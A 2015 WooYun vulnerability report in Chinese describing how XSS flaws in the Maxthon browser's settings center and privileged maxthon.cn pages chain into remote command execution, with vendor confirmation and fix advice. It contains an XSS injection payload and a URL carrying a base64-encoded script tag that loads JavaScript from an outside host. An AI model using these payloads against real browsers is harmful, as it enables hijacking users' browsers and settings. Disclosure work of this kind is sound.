漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-094814
漏洞标题:傲游浏览器远程命令执行漏洞
相关厂商:傲游
漏洞作者: Lyleaks
提交时间:2015-01-31 01:36
修复时间:2015-05-04 15:20
公开时间:2015-05-04 15:20
漏洞类型:远程代码执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-01-31: 细节已通知厂商并且等待厂商处理中
2015-02-03: 厂商已经确认,细节仅向厂商公开
2015-02-06: 细节向第三方安全合作伙伴开放
2015-03-30: 细节向核心白帽子及相关领域专家公开
2015-04-09: 细节向普通白帽子公开
2015-04-19: 细节向实习白帽子公开
2015-05-04: 细节向公众公开
简要描述:
赚云币
详细说明:
前几天傲游在 WooYun: 傲游浏览器远程命令执行漏洞(Web端+客户端配合利用技巧) 更新状态说设置中心的漏洞修复了,看了下发现傲游浏览器已经更新到了4.4.4.900。
下载最新版,发现设置中心添加主页的XSS被修复了,但是找了一下又发现了两处XSS。
第1处。在设置中心有一个网址直达的功能,添加网址别名的地方没有对别名进行过滤。
第2处。这一处比较隐蔽,在添加一键通的地方可选快捷键只有F1-F12,显然没办法直接更改快捷键。
但是测试发现可以通过傲游提供的api来修改。
试着把F1修改为"><img src=1 onerror=alert(location.href)>,发现快捷键果然没有过滤。
要更改浏览器的设置,可以用maxthon.browser.config.ConfigManager这个api,而*.maxthon.cn可以调用这个api,所以只要找一个*.maxthon.cn的XSS就行了,这并不难。
因为mx://res/notification/ 可以调用maxthon.program,mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm
可以调用maxthon.io,用 WooYun: 傲游浏览器远程命令执行漏洞(Web端+客户端配合利用技巧) 提到的方法,构造如下POC
然后使用*.maxthon.cn的XSS调用上面的POC。
http://tuan.maxthon.cn/en_US/search/all/Ij48c2NyaXB0IHNyYz1odHRwOi8vdXRmNy5tbC90L21heHRob24yLmpzPjwvc2NyaXB0Pg==
另外再说一下,傲游浏览器有一个设计缺陷,就是外围特权网站的范围太广,即使本地特权域没有XSS,一个
特权网站的XSS就可以做很多事。例如maxthon.browser.config.ConfigManager这个api就可以用来更改浏览器的所有配置,比如添加代理服务器等。
漏洞证明:
修复方案:
1、不要指那补那
2、缩小外围特权网站的范围
3、修复XSS
版权声明:转载请注明来源 Lyleaks@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2015-02-03 15:19
厂商回复:
的 XSS 已修复
设置中心安全漏洞会在 4.4.4.1200修复
接口的权限会在后续版本完善
最新状态:
暂无